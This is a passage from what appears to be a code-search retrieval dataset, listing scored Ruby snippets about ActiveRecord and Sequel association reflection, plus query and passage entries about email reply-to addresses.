"0.5855204", "text": "def foreign_key_association\n object.class.reflect_on_all_associations.find do |a|\n a.macro == :belongs_to && a.foreign_key == @method_name\n end\n end", "title": "" }, { "docid": "4710d9e4926425d36281b616e5f4eb3d", "score": "0.5846813", "text": "def defines_belongs_to_finder_method(reflection)\n method_name = reflection.name\n ivar_name = :\"@#{method_name}\"\n\n if method_defined?(method_name)\n instance_variable_set(ivar_name, nil)\n remove_method(method_name)\n end\n\n define_method(method_name) do\n if instance_variable_defined?(ivar_name)\n instance_variable_get(ivar_name)\n elsif attributes.include?(method_name)\n attributes[method_name]\n elsif association_id = send(reflection.foreign_key)\n instance_variable_set(ivar_name, reflection.klass.find(association_id))\n end\n end\n end", "title": "" }, { "docid": "6cee96086e13e2dd0a7aa8c18805411f", "score": "0.58407724", "text": "def detect_association_with_method(c)\n if c[:name].index('__')\n assoc_name, method = c[:name].split('__').map(&:to_sym)\n if method && assoc = data_class.reflect_on_association(assoc_name)\n assoc_column = assoc.klass.columns_hash[method.to_s]\n assoc_method_type = assoc_column.try(:type)\n if c[:nested_attribute]\n c[:xtype] ||= xtype_for_attr_type(assoc_method_type)\n else\n c[:xtype] ||= assoc_method_type == :boolean ? xtype_for_attr_type(assoc_method_type) : xtype_for_association\n end\n end\n end\n end", "title": "" }, { "docid": "f0e67ccbff970ce6cf9ff429cb596ef0", "score": "0.5826601", "text": "def scaffold_habtm_reflection_options(association)\n reflection = scaffold_association(association)\n [reflection.associated_class, reflection[:left_key], reflection[:right_key], reflection[:join_table]]\n end", "title": "" }, { "docid": "614301c02a5c37c5c99deb89ef15c7e4", "score": "0.5800682", "text": "def map_reflection_for( path )\n raise \"reflection for #{path.inspect} already exists\" unless reflections[path].nil?\n\n reflection = path.empty? ? top_level_model : begin\n parent = reflection_for( path[0..-2] )\n if !Authorization.is_a_association_proxy?(parent) and parent.respond_to?(:klass)\n parent.klass.reflect_on_association( path.last )\n else\n parent.reflect_on_association( path.last )\n end\n rescue\n parent.reflect_on_association( path.last )\n end\n raise \"invalid path #{path.inspect}\" if reflection.nil?\n\n reflections[path] = reflection\n map_table_alias_for( path ) # Claim a table alias for the path.\n\n # Claim alias for join table\n # TODO change how this is checked\n if !Authorization.is_a_association_proxy?(reflection) and !reflection.respond_to?(:proxy_scope) and reflection.is_a?(ActiveRecord::Reflection::ThroughReflection)\n join_table_path = path[0..-2] + [reflection.options[:through]]\n reflection_for(join_table_path, true)\n end\n\n reflection\n end", "title": "" }, { "docid": "a1e55af951b0091ecb4bd82cc7937b6d", "score": "0.5792342", "text": "def reflect_on_all_associations(macro = nil)\n association_reflections = reflections.values.select { |reflection| reflection.is_a?(AssociationReflection) }\n macro ? association_reflections.select { |reflection| reflection.macro == macro } : association_reflections\n end", "title": "" }, { "docid": "081353face92f558a9d75153b4761975", "score": "0.5786278", "text": "def _reflect_on_association(*args)\n _load_schema_associations_associations\n super\n end", "title": "" }, { "docid": "392d5828226cd145783bc8598b48230c", "score": "0.57770723", "text": "def reflect_on_all_associations(macro = nil)\n association_reflections = reflections.values\n macro ? association_reflections.select { |reflection| reflection.macro == macro } : association_reflections\n end", "title": "" }, { "docid": "5e45e8093779d58ae406a9eebb404bea", "score": "0.5767371", "text": "def _association_pass(association_i)\n # To one relationship\n if association_i.belongs_to? || association_i.has_one?\n @associations << association_i\n return association_i.klass\n end\n\n # Many-to-many with through relationship\n # The has-and-belongs-to-many relationships have been detected and filtered in _construct_association\n\n # Add model-through association (active_record -> klass)\n if association_i.through_reflection\n @associations << association_i.through_reflection\n # Add through-target association (through -> target)\n target_name = association_i.source_reflection_name\n through_model = association_i.through_reflection.klass\n through_target_association = through_model.reflect_on_association(target_name)\n @associations << through_target_association\n # The next association comes from target model\n return through_target_association.klass\n end\n\n # Add direct has_many association\n @associations << association_i\n Object.const_get(association_i.class_name)\n end", "title": "" }, { "docid": "214e815d374c5f34f20dcd93977de3f8", "score": "0.5760681", "text": "def relation_reflect(relation)\n relation = [*relation]\n kklass = klass\n while relation.any?\n reflect = reflect_on_association(kklass, relation.shift)\n kklass = reflect.klass\n end\n reflect\n end", "title": "" }, { "docid": "17ffbf5cad7aae4ea4dfae1a923cede3", "score": "0.5754082", "text": "def scaffold_association_type(association)\n case reflect_on_association(association).macro\n when :has_many\n :new\n when :has_and_belongs_to_many\n :edit\n else\n :one\n end\n end", "title": "" }, { "docid": "b1e5b8b14be0377501fd0d160b0d5731", "score": "0.57404447", "text": "def has_many_type(association)\n reflection = association.reflection\n if reflection.try(:has_and_belongs_to_many?) ||\n (reflection.try(:parent_reflection) &&\n reflection.parent_reflection.last.try(:macro) == :has_and_belongs_to_many)\n 'has_and_belongs_to_many'\n elsif reflection.options.has_key?(:through)\n 'has_many :through'\n end\n end", "title": "" }, { "docid": "f974ff79878235008c794f06fa7b11f3", "score": "0.57287", "text": "def association(obj, attr, *macros)\n if obj.class.respond_to?(:reflect_on_association)\n name = assoc_and_id_attr(attr).first.to_sym\n assoc = obj.class.reflect_on_association(name)\n assoc if assoc && (macros.blank? || macros.include?(assoc.macro))\n end\n end", "title": "" }, { "docid": "f974ff79878235008c794f06fa7b11f3", "score": "0.57287", "text": "def association(obj, attr, *macros)\n if obj.class.respond_to?(:reflect_on_association)\n name = assoc_and_id_attr(attr).first.to_sym\n assoc = obj.class.reflect_on_association(name)\n assoc if assoc && (macros.blank? || macros.include?(assoc.macro))\n end\n end", "title": "" }, { "docid": "31bf5c15d2470f8de78b0460a9a954db", "score": "0.57282245", "text": "def alias_association_methods(alias_name, reflection)\n association_name = reflection.name\n alias_association_accessor_methods(alias_name, association_name)\n case reflection.macro\n when :has_one, :belongs_to\n alias_singular_association_methods(alias_name, association_name)\n when :has_many, :has_and_belongs_to_many\n alias_collection_association_methods(alias_name, association_name)\n end\n end", "title": "" }, { "docid": "64bba7aa6d7f2af5ec479875e44c76e5", "score": "0.5716684", "text": "def through_association\n @through_association ||= delegate_reflection.options[:through].to_s\n end", "title": "" }, { "docid": "b3b0fd95a63b74d3e034b7ffe6046ec2", "score": "0.5706848", "text": "def verify_association(expected, object, macro, options={})\n klass = object.is_a?(Class) ? object : object.class\n association = begin\n if expected.is_a?(Class)\n expected.to_s.downcase.to_sym\n elsif expected.is_a?(Symbol)\n expected\n else\n expected.to_sym\n end\n end\n klass.reflections.has_key?(association) and klass.reflections[association].macro == macro and (options.has_key?(:through) ? klass.reflections[association].options[:through] == options[:through] : true)\nend", "title": "" }, { "docid": "8d1520a68ac505f6436f95e239921106", "score": "0.57012266", "text": "def save_belongs_to_association(reflection); end", "title": "" }, { "docid": "e7a41b1ea065488e97f3729846db1d5e", "score": "0.5692729", "text": "def all_association_reflections\n association_reflections.values\n end", "title": "" }, { "docid": "d5aa2d271cdaa3a099e0a805cfae7bda", "score": "0.5691461", "text": "def belongs_to(association_name)\n define_method(association_name) do\n if instance_variable_defined?(\"@#{association_name}\")\n instance_variable_get(\"@#{association_name}\")\n else\n association_attrs = api_attributes[association_name.to_s]\n association_class = Contextio::API::AssociationHelpers.class_for_association_name(association_name)\n\n if association_attrs && !association_attrs.empty?\n instance_variable_set(\"@#{association_name}\", association_class.new(api, association_attrs))\n else\n nil\n end\n end\n end\n\n associations << association_name.to_sym\n end", "title": "" }, { "docid": "7335daea2b8e7503f95cb97ac21783c3", "score": "0.5688651", "text": "def association_name\n proxy_association.reflection.delegate_reflection.name\n end", "title": "" }, { "docid": "02ca03f248be378d4e67cbc209acdfad", "score": "0.56881267", "text": "def association(name) #:nodoc:\n association = association_instance_get(name)\n\n if association.nil?\n reflection = self.class.reflect_on_association(name)\n association = reflection.association_class.new(self, reflection) if reflection\n association_instance_set(name, association) if association\n end\n\n association\n end", "title": "" }, { "docid": "3d174a4fa8d70751255f3e18c9e9e431", "score": "0.5680073", "text": "def reflect_on_all_associations(macro = nil)\n association_reflections = reflections.values.grep(AssociationReflection)\n macro ? association_reflections.select { |reflection| reflection.macro == macro } : association_reflections\n end", "title": "" }, { "docid": "3d174a4fa8d70751255f3e18c9e9e431", "score": "0.5680073", "text": "def reflect_on_all_associations(macro = nil)\n association_reflections = reflections.values.grep(AssociationReflection)\n macro ? association_reflections.select { |reflection| reflection.macro == macro } : association_reflections\n end", "title": "" }, { "docid": "3d174a4fa8d70751255f3e18c9e9e431", "score": "0.5680073", "text": "def reflect_on_all_associations(macro = nil)\n association_reflections = reflections.values.grep(AssociationReflection)\n macro ? association_reflections.select { |reflection| reflection.macro == macro } : association_reflections\n end", "title": "" }, { "docid": "3d174a4fa8d70751255f3e18c9e9e431", "score": "0.5680073", "text": "def reflect_on_all_associations(macro = nil)\n association_reflections = reflections.values.grep(AssociationReflection)\n macro ? association_reflections.select { |reflection| reflection.macro == macro } : association_reflections\n end", "title": "" }, { "docid": "17866c787c24590fa20ac29e7267391e", "score": "0.5675273", "text": "def reflection\n @reflection ||= model.reflections[(@options[:through] || @name).to_s]\n\n return nil if @reflection.nil?\n\n if Rails::VERSION::MAJOR >= 7\n begin\n @reflection.klass\n @reflection\n rescue => e\n Rails.logger.warn \"#{e.inspect}, at #{__FILE__}\"\n return nil\n end\n else\n @reflection\n end\n end", "title": "" }, { "docid": "8e746946e7f4b6c9188c4a31d56729a5", "score": "0.56695515", "text": "def association(name) # :nodoc:\n association = association_instance_get(name)\n\n if association.nil?\n reflection = self.class._reflect_on_association(name)\n association = reflection.association_class.new(self, reflection) if reflection\n association_instance_set(name, association) if association\n end\n\n association\n end", "title": "" }, { "docid": "b8125ff28c21445a99cef26d37afe539", "score": "0.56661665", "text": "def reflect_on_all_association(*macros)\n self.class.reflect_on_all_associations(*macros)\n end", "title": "" }, { "docid": "882ffd0f15b15c990c9490c7eaa3bfc4", "score": "0.56590015", "text": "def all_association_reflections\n []\n end", "title": "" }, { "docid": "882ffd0f15b15c990c9490c7eaa3bfc4", "score": "0.56590015", "text": "def all_association_reflections\n []\n end", "title": "" }, { "docid": "ce7ce94f1f25593337443653ab2765d6", "score": "0.56448036", "text": "def belongs_to(association)\n define_method(association) do\n association_name = association.to_s # address_book\n # SELECT * FROM address_book WHERE id = 1\n # only one record/row will be returned.\n row = self.class.connection.get_first_row <<-SQL\n SELECT * FROM #{association_name}\n WHERE id = #{self.send(association_name + \"_id\")}\n SQL\n\n # class_name = AddressBook\n class_name = association_name.classify.constantize\n\n # because there's only one object, we don't create a Collection; we just return the serialized object.\n if row\n data = Hash[class_name.columns.zip(row)]\n class_name.new(data)\n end\n end\n end", "title": "" }, { "docid": "5f7aa15d73b639dd743e29b49bcbe71e", "score": "0.5640035", "text": "def get_association(association_name)\n send(association_name) if has_association?(association_name)\n end", "title": "" }, { "docid": "5f7aa15d73b639dd743e29b49bcbe71e", "score": "0.5640035", "text": "def get_association(association_name)\n send(association_name) if has_association?(association_name)\n end", "title": "" }, { "docid": "3854964d0a594a70c329eeba223abc43", "score": "0.56282717", "text": "def relation_reflect(relation)\n relation = relation.is_a?(Enumerable) ? relation.dup : [relation]\n\n # go from one relation to the next until we hit the last reflect object\n klass = model\n while relation.size > 0\n cur_relation = relation.shift\n reflect = klass.reflect_on_association(cur_relation)\n raise \"No relation #{cur_relation} on #{klass.name}\" if reflect.nil?\n\n if relation.size > 0\n # not necessary to do this at the last link because we won't use\n # klass again. not calling this avoids the following causing an\n # exception in the now-supported one-level polymorphic counter cache\n klass = reflect.klass\n end\n end\n\n return reflect\n end", "title": "" }, { "docid": "bd8b8bf936cd229ecbacceadffc6e797", "score": "0.5626849", "text": "def defines_belongs_to_finder_method(reflection); end", "title": "" }, { "docid": "82d4792f1db61623f85228f994765328", "score": "0.56137645", "text": "def scope_for_association(ass_reflection)\n case ActiveRecord::VERSION::MAJOR\n when 3\n # in rails 3 ass_reflection.options contains everything except the where\n non_where_scope = ass_reflection.options.slice(*QUERY_OPTIONS)\n\n # in rails 3 where is in ass_reflection.options[:conditions]\n conds = ass_reflection.options[:conditions]\n conds = conds.call if conds.is_a?(Proc) # options[:conditions] could be a proc that needs to be evaluated\n scope_hash_from(ass_reflection.klass.where(conds).to_sql).merge(non_where_scope)\n\n # This one-liner almost works but adds an \"AND fk IS NULL\" that would need to be extracted out of the where\n # sql_string = ass_reflection.klass.new.association(ass_name).send(:scoped).to_sql\n\n when 4\n # TODO use scope chain for through associations e.g. Broadcast.tracked_conversations\n\n # With rails 4, it seems there is either a scope on the association reflection (which includes the target\n # scope) or just a target scope on the association itself\n sql_string = if scope = ass_reflection.scope\n ass_reflection.klass.instance_exec(&scope).to_sql\n else # just use the target scope\n this_model_class.new.association(ass_reflection.name).send(:target_scope).to_sql\n end\n\n scope_hash_from(sql_string)\n else\n fail \"ActiveRecord version #{ActiveRecord::VERSION::MAJOR}.x is not supported\"\n end\n end", "title": "" }, { "docid": "39f8e14e28e92d260aa9b9cd3d228e7e", "score": "0.56119543", "text": "def reciprocal_association(reflection)\n return reflection[:reciprocal] if reflection.include?(:reciprocal)\n reciprocal_type = ::Sequel::Model::Associations::RECIPROCAL_ASSOCIATIONS[reflection[:type]]\n if reciprocal_type == :many_to_many\n left_key = reflection[:left_key]\n right_key = reflection[:right_key]\n join_table = reflection[:join_table]\n associated_class(reflection).all_association_reflections.each do |assoc_reflect|\n if assoc_reflect[:type] == :many_to_many && assoc_reflect[:left_key] == right_key \\\n && assoc_reflect[:right_key] == left_key && assoc_reflect[:join_table] == join_table\n return reflection[:reciprocal] = association_ivar(assoc_reflect[:name]).to_s.freeze\n end\n end\n else\n key = reflection[:key]\n associated_class(reflection).all_association_reflections.each do |assoc_reflect|\n if assoc_reflect[:type] == reciprocal_type && assoc_reflect[:key] == key\n return reflection[:reciprocal] = association_ivar(assoc_reflect[:name])\n end\n end\n end\n reflection[:reciprocal] = nil\n end", "title": "" }, { "docid": "4cd0d1c414888481a274852a5d4ebd02", "score": "0.56062925", "text": "def association(association, options={}, &block)\n options = options.dup\n\n return simple_fields_for(*[association,\n options.delete(:collection), options].compact, &block) if block_given?\n\n raise ArgumentError, \"Association cannot be used in forms not associated with an object\" unless @object\n\n reflection = find_association_reflection(association)\n raise \"Association #{association.inspect} not found\" unless reflection\n\n options[:as] ||= :select\n options[:collection] ||= options.fetch(:collection) {\n reflection.klass.all(reflection.options.slice(:conditions, :order))\n }\n\n attribute = case reflection.macro\n when :belongs_to\n (reflection.respond_to?(:options) && reflection.options[:foreign_key]) || :\"#{reflection.name}_id\"\n when :has_one\n raise ArgumentError, \":has_one associations are not supported by f.association\"\n else\n if options[:as] == :select\n html_options = options[:input_html] ||= {}\n html_options[:size] ||= 5\n html_options[:multiple] = true unless html_options.key?(:multiple)\n end\n\n # Force the association to be preloaded for performance.\n if options[:preload] != false && object.respond_to?(association)\n target = object.send(association)\n target.to_a if target.respond_to?(:to_a)\n end\n\n :\"#{reflection.name.to_s.singularize}_ids\"\n end\n\n input(attribute, options.merge(:reflection => reflection))\n end", "title": "" }, { "docid": "e13b73e3261b36ef4c841d0293e06cf8", "score": "0.560443", "text": "def association(name) #:nodoc:\n association = association_instance_get(name)\n\n if association.nil?\n reflection = self.class.reflect_on_association(name)\n association = reflection.association_class.new(self, reflection)\n association_instance_set(name, association)\n end\n\n association\n end", "title": "" }, { "docid": "66910bf20e6a69bf0a5de410c9fd01a5", "score": "0.5594514", "text": "def scaffold_habtm_reflection_options(association)\n reflection = reflect_on_association(association)\n [reflection.klass, reflection.primary_key_name, reflection.association_foreign_key, reflection.options[:join_table]]\n end", "title": "" }, { "docid": "cf293a83d7f77f2e10aab3bdf30aaeb0", "score": "0.5593976", "text": "def association(name) #:nodoc:\n association = association_instance_get(name)\n\n if association.nil?\n reflection = self.class.reflect_on_association(name)\n association = reflection.association_class.new(self, reflection)\n association_instance_set(name, association)\n end\n\n association\n end", "title": "" }, { "docid": "ee1a37f5d2484e3acd5d83dd96b6c3c0", "score": "0.5589266", "text": "def on_rails_association_dsl(node)\n receiver, _method_name, target, option = node.children\n return unless receiver.nil?\n\n if target.type == :sym && option&.type == :hash\n add_value_to_reference_if_key_exist(option, \"through\")\n\n return if add_value_to_reference_if_key_exist(option, \"class_name\")\n end\n\n if target.type == :sym\n const_name = Inflection.constantize(target.children.first.to_s)\n add_reference(\"\", const_name)\n return\n end\n\n raise \"Unhandled rails DSL! #{node}\"\n end", "title": "" }, { "docid": "8ce8042da97e36062cee96c64a0443ba", "score": "0.5574541", "text": "def extract_associated(association); end", "title": "" }, { "docid": "0c32dea0423d75f8644d862f338a938d", "score": "0.5556961", "text": "def association_internal(field_name_symbol, field_type, options={})\n\t\t\t\treturn unless defined?(@includes_acts_with_metadata)\n\t\t\t\t\n\t\t\t\t#initialize_members\n\t\t\t\tfield_name = field_name_symbol.to_s\n\n\t\t\t\tfield_setup_internal(field_name_symbol, options)\n=begin\n\t\t\t\topts = options[:options] || {}\n\t\t\t\tinterfaces = options[:interfaces] || {}\n\t\t\t\tunless klass_name = options[:class_name]\n\t\t\t\t\tif field_type == :belongs_to then\n\t\t\t\t\t\tklass_name = field_name.camelize\n\t\t\t\t\telse\n\t\t\t\t\t\tklass_name = field_name.singularize.camelize\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t#klass = Object.const_get(klass_name)\n\t\t\t\tunless choices = options[:choices]\n\t\t\t\t\tchoices = proc{Object.const_get(klass_name).find_all}\n\t\t\t\tend\n\t\t\t\tunless controller = options[:controller]\n\t\t\t\t\tif field_type == :belongs_to then\n\t\t\t\t\t\tcontroller = field_name\n\t\t\t\t\telse\n\t\t\t\t\t\tcontroller = field_name.singularize\n\t\t\t\t\tend\n\t\t\t\tend\n=end\n\t\t\t\tmerge_options = {}\n\t\t\t\tmerge_options[:field_type] = field_type\n\t\t\t\t\n\t\t\t\tunless klass_name = options[:class_name]\n\t\t\t\t\tif field_type == :belongs_to then\n\t\t\t\t\t\tklass_name = field_name.camelize\n\t\t\t\t\telse\n\t\t\t\t\t\tklass_name = field_name.singularize.camelize\n\t\t\t\t\tend\n\t\t\t\t\tmerge_options[:field_class_name] = klass_name\n\t\t\t\tend\n\t\t\t\t#klass = Object.const_get(klass_name)\n\t\t\t\tunless options[:choices]\n\t\t\t\t\tmerge_options[:choices] = proc{Object.const_get(klass_name).find(:all)}\n\t\t\t\tend\n$TRACE.debug 5, \"association_internal: controller (in) - #{merge_options[:controller].inspect}\"\n\t\t\t\tunless options[:controller]\n\t\t\t\t\tif field_type == :belongs_to then\n\t\t\t\t\t\tmerge_options[:controller] = field_name\n\t\t\t\t\telse\n\t\t\t\t\t\tmerge_options[:controller] = field_name.singularize\n\t\t\t\t\tend\n\t\t\t\tend\n$TRACE.debug 5, \"association_internal: controller (out) - #{merge_options[:controller].inspect}\"\n\n\t\t\t\t$TRACE.debug 9, \"association_interal before: declared_members = #{@declared_members}\"\n\t\t\t\tmember = ::ActiveRecord::Acts::WithMetaData::MetaData.new(\n\t\t\t\t\t\t\t\t\t\t\t\tself, field_name,\n\t\t\t\t\t\t\t\t\t\t\t\toptions.merge(merge_options))\n\t\t\t\t#\t\t\t\t\t\t\t\t:options => opts,\n\t\t\t\t#\t\t\t\t\t\t\t\t:interfaces => interfaces,\n\t\t\t\t#\t\t\t\t\t\t\t\t:from_s => options[:from_s],\n\t\t\t\t#\t\t\t\t\t\t\t\t:field_type => field_type,\n\t\t\t\t#\t\t\t\t\t\t\t\t:choices => choices,\n\t\t\t\t#\t\t\t\t\t\t\t\t:controller => controller,\n\t\t\t\t#\t\t\t\t\t\t\t\t:klass_name => klass_name,\n\t\t\t\t#\t\t\t\t\t\t\t\t:is_declared => true)\n\n#if field_name.to_s == \"tasks\"\n#\tputs(\"member = #{member.inspect}\")\n#end\n\t\n\t\t\t\t$TRACE.debug 9, \"association_interal after: declared_members = #{@declared_members}\"\n\t\t\t\t[:options, :choices, :controller,\n\t\t\t\t :read_only, :display_name, :display_partial, :edit_partial].each {|key| options.delete(key)}\n\t\t\t\t@declared_members << member\n\t\t\t\tmember\n\t\t\tend", "title": "" }, { "docid": "9aaa03a0b1143b311436de195e6df4f7", "score": "0.5552439", "text": "def build_association(ass_reflection)\n # use class name because association_class is the actual class, not an instance of it, so === won't match it\n ass = case ass_reflection.association_class.name.demodulize # is it possible to have activerecord without activesupport?\n when 'HasOneAssociation'\n OneToOneAssociation.new(child_table: ass_reflection.table_name,\n foreign_key: ass_reflection.foreign_key,\n parent_table: ass_reflection.active_record.table_name,\n primary_key: ass_reflection.active_record_primary_key)\n\n # TODO HasOneThroughAssociation\n # when 'HasOneThroughAssociation'\n\n when 'HasManyAssociation'\n OneToManyAssociation.new(child_table: ass_reflection.table_name,\n foreign_key: ass_reflection.foreign_key,\n parent_table: ass_reflection.active_record.table_name,\n primary_key: ass_reflection.active_record_primary_key)\n\n when 'BelongsToAssociation'\n # pk = ass_reflection.primary_key_column.name\n ManyToOneAssociation.new(child_table: ass_reflection.active_record.table_name,\n foreign_key: ass_reflection.foreign_key,\n parent_table: ass_reflection.table_name,\n primary_key: ass_reflection.association_primary_key)\n\n when 'HasManyThroughAssociation'\n join_ass = ass_reflection.through_reflection # has_many through:\n left_ass = ManyToOneAssociation.new(child_table: join_ass.table_name,\n foreign_key: join_ass.foreign_key,\n parent_table: ass_reflection.active_record.table_name,\n primary_key: ass_reflection.active_record_primary_key)\n right_ass = ManyToOneAssociation.new(child_table: join_ass.table_name,\n foreign_key: ass_reflection.association_foreign_key,\n parent_table: ass_reflection.table_name,\n primary_key: ass_reflection.association_primary_key)\n ManyToManyAssociation.new(left_ass, right_ass)\n\n # TODO BelongsToPolymorphicAssociation\n # when 'BelongsToPolymorphicAssociation'\n else\n fail \"don't yet know how to resolve associations of type '#{ass_reflection.association_class}' model=#{ass_reflection.klass} association=#{ass_reflection.name}\"\n end\n\n\n ass.scope = scope_for_association(ass_reflection)\n ass.resolver = self.class.new(ass_reflection.klass)\n ass.set_name!(ass_reflection.name)\n ass\n end", "title": "" }, { "docid": "29ccf8402f0b50d5cda37bc4c04fe0f8", "score": "0.5546714", "text": "def association(name) #:nodoc:\n association = association_instance_get(name)\n\n if association.nil?\n unless reflection = self.class._reflect_on_association(name)\n raise AssociationNotFoundError.new(self, name)\n end\n association = reflection.association_class.new(self, reflection)\n association_instance_set(name, association)\n end\n\n association\n end", "title": "" }, { "docid": "29ccf8402f0b50d5cda37bc4c04fe0f8", "score": "0.5546714", "text": "def association(name) #:nodoc:\n association = association_instance_get(name)\n\n if association.nil?\n unless reflection = self.class._reflect_on_association(name)\n raise AssociationNotFoundError.new(self, name)\n end\n association = reflection.association_class.new(self, reflection)\n association_instance_set(name, association)\n end\n\n association\n end", "title": "" } ]
4b37a047b5e4dac798dcd60dfb2e5417
Public: Returns an Array of String email address to which replies to this email should be addressed.
[ { "docid": "443bb475d3b1f90cc679169937108b81", "score": "0.7804487", "text": "def reply_to\n email_message.reply_to.map(&:to_s)\n end", "title": "" } ]
[ { "docid": "6ba2924aee46f6a957f0e9c20b538d6a", "score": "0.74997103", "text": "def reply_to\n (envelope[:reply_to] || []).map{|a| address(a)}\n end", "title": "" }, { "docid": "5f2ebbd208fda7660b22c454cc4c55cb", "score": "0.7098209", "text": "def to_mail\n @replies.reverse!\n mails = []\n # replies divide by in_reply_to_status_id\n for i in @replies.map{|r| r['in_reply_to_status_id'] }.uniq\n to_mail_replies = []\n @replies.each do |r|\n to_mail_replies << r if r['in_reply_to_status_id'] == i\n end\n # to mail\n subject = 'Reply from:' + get_users(to_mail_replies).join(',') + \":#{to_mail_replies[0]['id'].to_s}\"\n body = to_mail_replies.map{|tmr| \"#{tmr['text']} from #{tmr['user']['screen_name']}\"}.join(\"\\r\\n\")\n mail = TMail::Mail.new\n mail.subject = subject.toutf8\n mail.body = body.toutf8\n mail.date = Time.now\n mail.mime_version = '1.0'\n mail.set_content_type 'text', 'plain', {'charset' => 'utf-8'}\n mails << mail\n end\n return mails\n end", "title": "" }, { "docid": "137c5ae15f3545a572ce2caae8385c06", "score": "0.67885375", "text": "def reply_to_addrs( default = nil )\n if h = @header['reply-to']\n h.addrs.blank? ? default : h.addrs\n else\n default\n end\n end", "title": "" }, { "docid": "2b6b27d2afd0eba1126b7def18a2547f", "score": "0.67775655", "text": "def recipients\n @recipients ||= message[\"receipt\"][\"recipients\"].map { |recipient| Mail::Address.new(recipient) }\n end", "title": "" }, { "docid": "19fcae843da8d69b6ccf7c98526c7445", "score": "0.66615385", "text": "def recipients\n return [] unless original_message\n Array original_message.recipients\n end", "title": "" }, { "docid": "370ccb146c34120feb4b702c16b534ed", "score": "0.66596854", "text": "def reply_to_email_address\n @reply_to_email_address\n end", "title": "" }, { "docid": "fa9b4240bcfdab68298f8e52095fb8fc", "score": "0.65945655", "text": "def recipients\n notified_users.collect(&:mail)\n end", "title": "" }, { "docid": "fa9b4240bcfdab68298f8e52095fb8fc", "score": "0.65945655", "text": "def recipients\n notified_users.collect(&:mail)\n end", "title": "" }, { "docid": "fa9b4240bcfdab68298f8e52095fb8fc", "score": "0.65945655", "text": "def recipients\n notified_users.collect(&:mail)\n end", "title": "" }, { "docid": "8eb86600ca4a866513b0dcfc3eccd250", "score": "0.6561152", "text": "def recipient_addresses\n @recipients.collect(&:rfc5322_email).collect(&:downcase) - email.recipient_addresses\n end", "title": "" }, { "docid": "f7e8b3ba148e3231212f5564483210f5", "score": "0.656001", "text": "def reply_urls\n return @reply_urls\n end", "title": "" }, { "docid": "1052a7c12412cea8822c6eb89af70971", "score": "0.6555427", "text": "def get_emails_for_notify(exclude=self.author_email)\n em = []\n if email_on_reply && approved?\n em << author_email\n end\n if parent\n em += parent.get_emails_for_notify(exclude)\n end\n em -= [exclude]\n em.compact.uniq\n end", "title": "" }, { "docid": "7c440ffa440f43c848671eab29072481", "score": "0.6535134", "text": "def recipients\n if self.last_message\n recps = self.last_message.recipients\n recps = recps.is_a?(Array) ? recps : [recps]\n return recps\n end\n return []\n end", "title": "" }, { "docid": "9c79806d2e0eca9e219b87a6c849bda5", "score": "0.6531842", "text": "def recipient_addresses\n (Array(tmail.to) + Array(tmail.cc)).collect(&:downcase).uniq\n end", "title": "" }, { "docid": "87674ada6dd86386b4fdc21cb9fc2589", "score": "0.65238184", "text": "def replies\n return @replies\n end", "title": "" }, { "docid": "39523f659c9299eecb0e18b5e34fd9a9", "score": "0.65112036", "text": "def reply_to_email\n @attributes[:reply_to_email]\n end", "title": "" }, { "docid": "016d2415df2c80a0b06de350c779a0ce", "score": "0.64924574", "text": "def notification_email_addresses\n return @notification_email_addresses\n end", "title": "" }, { "docid": "9be0b0c501ff00c50a5120de37202e17", "score": "0.6486862", "text": "def recipients\n notified_users.collect(&:mail)\n end", "title": "" }, { "docid": "b11d1e2a31432993ed0a79880367bc34", "score": "0.6485247", "text": "def recipients\n if @recipients.blank?\n recipients_array = Array.new\n self.receipts.each do |receipt|\n recipients_array << receipt.receiver\n end\n return recipients_array\n end\n return @recipients\n end", "title": "" }, { "docid": "ec9fe6bb74dd2fd6bc0a0bcf12aa0a79", "score": "0.64273024", "text": "def recipients\n notified_users.collect {|user| user.mail}\n end", "title": "" }, { "docid": "6ff60fcf1d47084f5626aa1aa2d7b8ac", "score": "0.6415399", "text": "def error_reply_addresses( default = nil )\n if s = sender(nil)\n [s]\n else\n from_addrs(default)\n end\n end", "title": "" }, { "docid": "7f0752fdf210fd318dc721815d61fb6a", "score": "0.6408394", "text": "def replies\n comments.map { |comment| comment.comments }.flatten\n end", "title": "" }, { "docid": "9af4d129d41daeaf239dc89c63731829", "score": "0.64010197", "text": "def alternate_notification_emails\n return @alternate_notification_emails\n end", "title": "" }, { "docid": "2007b20afb10dadeaed24675c0651e9c", "score": "0.63838506", "text": "def recipients\n\t\tif self.last_message\n\t\t\trecps = self.last_message.recipients\n\t\t\trecps = recps.is_a?(Array) ? recps : [recps]\n\t\treturn recps\n\t\tend\n\t\treturn []\n\tend", "title": "" }, { "docid": "9455e2be5370ced2099b118576e52c45", "score": "0.6375339", "text": "def get_recipient_list\n add_str = File.read(\"#{File.expand_path('../', __FILE__)}/email_recipients\")\n recipient_list = Array.new\n add_str.split(\"\\n\").each do |add|\n if !add.nil? && add.match(/\\A.+@.+\\.com\\Z/)\n recipient_list.push(add)\n end\n end\n return recipient_list\n end", "title": "" }, { "docid": "2e5953755bc7b6934a832cfecfbf14cc", "score": "0.6358439", "text": "def receipient_email_addresses\n AlertSetting.email_alerts_on(@comment.commentable)\n .map { |ce| %(\"#{ce.alertable.user.decorate.full_name}\" <#{ce.alertable.value}>) }\n end", "title": "" }, { "docid": "4d04c2db2dcb683a045d75b16e6dd7fb", "score": "0.633862", "text": "def email_addresses\n return @email_addresses\n end", "title": "" }, { "docid": "20a04aba31c0bd353519e3e7556230d7", "score": "0.6316135", "text": "def approver_recipients\n notified_approvers.collect(&:mail)\n end", "title": "" }, { "docid": "25e39db48746dee572bfb8de95a1aeca", "score": "0.6314079", "text": "def notification_email_addresses(user_who_made_change = nil)\n recipients = [ ]\n\n if user_who_made_change and\n user_who_made_change.receive_notifications?\n recipients << user_who_made_change\n end\n\n recipients += all_related_users.select { |u| u.receive_notifications? }\n\n # remove them if they don't want their own notifications.\n # do it here rather than at start of method in case they're\n # on the watchers list, etc\n if user_who_made_change and\n !user_who_made_change.receive_own_notifications?\n recipients.delete(user_who_made_change)\n end\n\n emails = recipients.map { |u| u.email }\n\n # add in notify emails\n if !notify_emails.blank?\n emails += notify_emails.split(\",\")\n end\n emails = emails.compact.map { |e| e.strip }\n\n # and finally remove dupes\n emails = emails.uniq\n\n return emails\n end", "title": "" }, { "docid": "0ef4fcebe7fc9c43bd11fb1aeb1033dc", "score": "0.62618166", "text": "def mail_recipients\n Array(to) + Array(cc)\n end", "title": "" }, { "docid": "fb27ac42e7f7930ea4474e1ee0e0a2b4", "score": 